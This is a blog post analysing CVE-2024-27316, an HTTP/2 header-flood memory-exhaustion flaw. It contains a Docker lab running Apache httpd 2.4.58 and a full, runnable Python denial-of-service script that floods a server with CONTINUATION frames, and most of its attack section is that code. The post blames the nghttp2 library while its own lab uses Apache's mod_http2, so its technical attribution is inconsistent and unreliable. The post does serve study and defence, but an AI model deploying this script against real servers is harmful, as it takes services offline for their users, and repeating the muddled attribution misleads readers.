CVE-2024-27316: A Deep Dive into the nghttp2 Header Overflow

2024-07-21
James McGill
CVE-2024-27316
CVE-2024-27316 Exploit
CVE-2024-27316 PoC
nghttp2 vulnerability
HTTP/2 vulnerability
memory exhaustion attack
nghttp2 header overflow
HTTP/2 header overflow
nghttp2 security vulnerabilities
HTTP/2 security risks
Hack nghttp2
CVE-2024-27316: A Deep Dive into the nghttp2 Header Overflow

Introduction

CVE-2024-27316 is a critical vulnerability affecting the nghttp2 library, a widely used implementation of the HTTP/2 protocol. This vulnerability, categorized as a denial-of-service (DoS) attack, exploits a memory exhaustion condition induced by excessive HTTP headers. In this technical blog, we will dissect the vulnerability, its potential impact, and mitigation strategies.

Vulnerability Overview

The core issue lies in nghttp2's handling of incoming HTTP headers. The library employs a temporary buffer to store headers exceeding the predefined limit, with the intention of generating a comprehensive HTTP 413 response. However, a malicious client can circumvent this mechanism by continuously sending headers, leading to an uncontrolled growth of the buffer and ultimately causing memory exhaustion. This condition renders the affected service unresponsive, effectively constituting a DoS attack.

Technical Breakdown

To comprehend the vulnerability fully, it's essential to grasp the HTTP/2 protocol and nghttp2's architecture.

  • HTTP/2: This protocol introduces header compression, multiplexing, and binary framing, enhancing web performance. However, it also necessitates careful handling of header data to prevent vulnerabilities.

  • nghttp2: As a popular HTTP/2 implementation, nghttp2 is used in numerous web servers and applications. Its header parsing logic, while generally robust, is susceptible to the overflow condition described above.

The attack vector is straightforward: a malicious actor constructs HTTP requests with an exorbitant number of headers. nghttp2 attempts to buffer these headers, but the buffer's capacity is finite. Consequently, the buffer overflows, leading to memory exhaustion and service disruption.

Proof of Concept

To build a PoC lab for this CVE-2024-27316 vulnerability, we need to first host the vulnerable environment. To set it up, we use the following docker configuration:

version: '3.3'
services:
  cve-2024-27316_v2458:
    container_name: cve-2024-27316_v2458
    build: ./httpd-2_4_58
    ports:
      - 3392:80
      - 3393:443
    mem_limit: 512m

Also save the following Dockerfile in ./httpd-2_4_58:

FROM httpd:2.4.58
RUN sed -i \
    -e 's/^#\(Include .*httpd-ssl.conf\)/\1/' \
    -e 's/^#\(LoadModule .*mod_ssl.so\)/\1/' \
    /usr/local/apache2/conf/httpd.conf

RUN sed -i '/^#\(LoadModule .*mod_socache_shmcb.so\)/s/^#//g' /usr/local/apache2/conf/httpd.conf

RUN sed -i '/^#\(LoadModule .*mod_http2.so\)/s/^#//g' /usr/local/apache2/conf/httpd.conf

RUN echo "Protocols h2c http/1.1" >> /usr/local/apache2/conf/httpd.conf

RUN echo "Protocols h2 http/1.1" >> /usr/local/apache2/conf/extra/httpd-ssl.conf

RUN openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /usr/local/apache2/conf/server.key -out /usr/local/apache2/conf/server.crt -subj "/C=JP/ST=Tokyo/L=Chiyoda-ku/O=Example Inc./OU=Web/CN=localhost"

EXPOSE 80 443 

Now to host the environment, we can simply run:

docker compose up

This setup allows for running a web server that supports HTTP/2 and HTTPS, making it suitable for testing and PoC demonstration of CVE-2024-27316.

Now before we try to exploit it, we can check the docker container stats that should be within the healthy range before exploitation.

Now we can use the following exploit script to send continuous frames to exploit the vulnerability:

import socket
import ssl
from hpack import Encoder
import asyncio

# Frame type definitions
FRAME_TYPE_HEADERS = 1
FRAME_TYPE_RST_STREAM = 3
FRAME_TYPE_SETTINGS = 4
FRAME_TYPE_GOAWAY = 7
FRAME_TYPE_CONTINUATION = 9
# Flag definitions
FLAG_SETTINGS_ACK = 0x01

target = {'port': 3392, 'protocol': 'http'}  # vuln
# target = {'port': 3393, 'protocol': 'https'}  # vuln
# target = {'port': 3394, 'protocol': 'http'}  # safe
# target = {'port': 3395, 'protocol': 'https'}  # safe

def build_frame(frame_type, flags, stream_id, payload):
    length = len(payload)
    header = bytearray(9)
    header[0:3] = length.to_bytes(3, 'big')
    header[3] = frame_type
    header[4] = flags
    header[5:9] = (stream_id & 0x7FFFFFFF).to_bytes(4, 'big')
    return header + payload

def encode_headers(headers):
    encoder = Encoder()
    encoded = encoder.encode(headers.items())
    return encoded

async def attack_one_connection():
    setting_ack_received = False
    setting_ack_send = False
    port = target['port']
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE

    def send(sock, data):
        sock.sendall(data)

    def get_frames(data):
        frames = []
        offset = 0
        while offset < len(data):
            length = int.from_bytes(data[offset:offset+3], 'big')
            frame_type = data[offset+3]
            flags = data[offset+4]
            stream_id = int.from_bytes(data[offset+5:offset+9], 'big') & 0x7FFFFFFF
            offset += 9
            payload = data[offset:offset+length] if length > 0 else bytearray()
            offset += length
            frames.append({'type': frame_type, 'flags': flags, 'stream_id': stream_id, 'payload':
payload})
        return frames

    async def handle_connection(sock):
        nonlocal setting_ack_received, setting_ack_send

        while not setting_ack_received or not setting_ack_send:
            await asyncio.sleep(0.1)
            data = sock.recv(65535)
            if data:
                frames = get_frames(data)
                for frame in frames:
                    if frame['type'] == FRAME_TYPE_SETTINGS:
                        if frame['flags'] == 0x00:
                            ack_settings_frame = build_frame(FRAME_TYPE_SETTINGS,
FLAG_SETTINGS_ACK, 0x00, bytearray())
                            send(sock, ack_settings_frame)
                            setting_ack_send = True
                        elif frame['flags'] == 0x01:
                            setting_ack_received = True
                    elif frame['type'] in {FRAME_TYPE_GOAWAY, FRAME_TYPE_RST_STREAM}:
                        sock.close()
                        return

    with socket.create_connection(('localhost', port)) as sock:
        if target['protocol'] == 'https':
            sock = context.wrap_socket(sock, server_hostname='localhost')

        print('Connected to the server.')
        
        connection_preface = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'
        send(sock, connection_preface)
        settings_frame = build_frame(FRAME_TYPE_SETTINGS, 0x00, 0x00, bytearray())
        send(sock, settings_frame)

        await handle_connection(sock)
        header_payload = encode_headers({
            ':path': '/',
            ':method': 'GET',
            ':authority': f'localhost:{port}',
            ':scheme': target['protocol'],
        })
        headers_frame = build_frame(FRAME_TYPE_HEADERS, 0x00, 0x01, header_payload)
        send(sock, headers_frame)

        for i in range(1, 1000001):
            if i % 1000 == 0:
                print(i)
            header_name = 'a' * 8190 + str(i)
            cont_payload = encode_headers({header_name: ''})
            cont_frame = build_frame(FRAME_TYPE_CONTINUATION, 0x00, 0x01,
cont_payload)
            send(sock, cont_frame)
            await asyncio.sleep(0)

        while True:
            data = sock.recv(65535)
            if data:
                frames = get_frames(data)
                for frame in frames:
                    if frame['type'] == FRAME_TYPE_SETTINGS:
                        if frame['flags'] == 0x00:
                            ack_settings_frame = build_frame(FRAME_TYPE_SETTINGS,
FLAG_SETTINGS_ACK, 0x00, bytearray())
                            send(sock, ack_settings_frame)
                            setting_ack_send = True
                        elif frame['flags'] == 0x01:
                            setting_ack_received = True
                    elif frame['type'] in {FRAME_TYPE_GOAWAY, FRAME_TYPE_RST_STREAM}:
                        sock.close()
                        return

async def main():
    await attack_one_connection()

asyncio.run(main())

Here's the exploit script breakdown:

  • Connection Preface: The script first establishes a connection to the target server and sends the HTTP/2 connection preface.

  • Settings Frame: It then sends a settings frame to initialize the HTTP/2 session.

  • Headers Frame: After receiving acknowledgment for the settings frame, it sends an initial headers frame.

  • Continuation Frames: The script continues to send a large number of continuation frames with excessive headers, designed to exhaust the server’s memory buffer.

We just need to run the above python script to start exploitation:

python exploit.py

Let's analyze the memory consumption of the container now, it should start exhausting if the attack is successfully exploiting CVE-2024-27316.

Impact and Exploitation

A successful exploitation of CVE-2024-27316 can have severe consequences:

  • DoS Attacks: The primary impact is the denial of service. By overwhelming the target system's memory, an attacker can render it inaccessible to legitimate users.

  • Service Disruption: Critical online services, such as web applications, APIs, and cloud platforms, can be significantly impacted, leading to financial losses and reputational damage.

  • Secondary Impacts: In some cases, memory exhaustion might trigger instability in the underlying operating system, potentially affecting other services on the same host.

Mitigation Strategies

Addressing CVE-2024-27316 requires a multi-faceted approach:

  • Update nghttp2: The most effective countermeasure is to upgrade nghttp2 to a patched version that incorporates fixes for this vulnerability.

  • Input Validation: Implement rigorous input validation to restrict the size of incoming HTTP headers. This can be achieved through application-level or network-level filtering.

  • Rate Limiting: Employ rate-limiting mechanisms to control the number of requests and the rate at which they are processed.

  • Memory Management: Optimize memory usage within the application to increase resilience to memory exhaustion attacks.

  • Intrusion Detection Systems (IDS): Deploy IDS solutions to detect and block suspicious HTTP traffic patterns indicative of this attack.

Conclusion

CVE-2024-27316 underscores the importance of robust security practices in the development and deployment of network applications. By understanding the vulnerability, its potential impact, and the available mitigation strategies, security professionals can effectively protect their systems from exploitation.

Disclaimer

The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-27316 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.

It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.

CVE-2024-8517: SPIP Remote Code Execution Vulnerability
CVE-2024-8517: SPIP Remote Code Execution Vulnerability
2024-10-13
Kamran Hasan
CVE-2024-23334: A Deep Dive into aiohttp's Directory Traversal Vulnerability
CVE-2024-23334: A Deep Dive into aiohttp's Directory Traversal Vulnerability
2024-09-10
Kamran Hasan
CVE-2024-37568: Authlib Algorithm Confusion Vulnerability
CVE-2024-37568: Authlib Algorithm Confusion Vulnerability
2024-08-16
James McGill
CVE-2024-40348: Bazarr Directory Traversal Vulnerability
CVE-2024-40348: Bazarr Directory Traversal Vulnerability
2024-07-30
James McGill
Python-JOSE Security Risk: CVE-2024-33663 Explained
Python-JOSE Security Risk: CVE-2024-33663 Explained
2024-07-21
James McGill
CVE-2024-36401: GeoServer and GeoTools - XPath Injection via commons-jxpath
CVE-2024-36401: GeoServer and GeoTools - XPath Injection via commons-jxpath
2024-06-13
James McGill